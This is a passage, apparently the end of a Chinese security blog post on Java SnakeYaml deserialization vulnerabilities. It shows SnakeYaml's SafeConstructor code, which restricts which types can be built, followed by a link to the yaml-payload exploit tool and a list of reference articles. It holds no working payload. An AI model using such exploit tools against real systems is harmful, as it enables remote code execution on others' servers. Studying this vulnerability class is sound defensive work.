this.yamlConstructors.put(Tag.STR, new SafeConstructor.ConstructYamlStr());
this.yamlConstructors.put(Tag.SEQ, new SafeConstructor.ConstructYamlSeq());
this.yamlConstructors.put(Tag.MAP, new SafeConstructor.ConstructYamlMap());
this.yamlConstructors.put((Object)null, undefinedConstructor);
this.yamlClassConstructors.put(NodeId.scalar, undefinedConstructor);
this.yamlClassConstructors.put(NodeId.sequence, undefinedConstructor);
this.yamlClassConstructors.put(NodeId.mapping, undefinedConstructor);
}

0x06 利用工具

https://github.com/artsploit/yaml-payload
本文使用的代码(部分):
https://github.com/altEr1125/altEr1125.github.io/tree/master/file/Java%20SnakeYaml%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E

0x07 Reference

https://www.mi1k7ea.com/2019/11/29/Java-SnakeYaml%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
https://b1ue.cn/archives/407.html
https://xz.aliyun.com/t/10655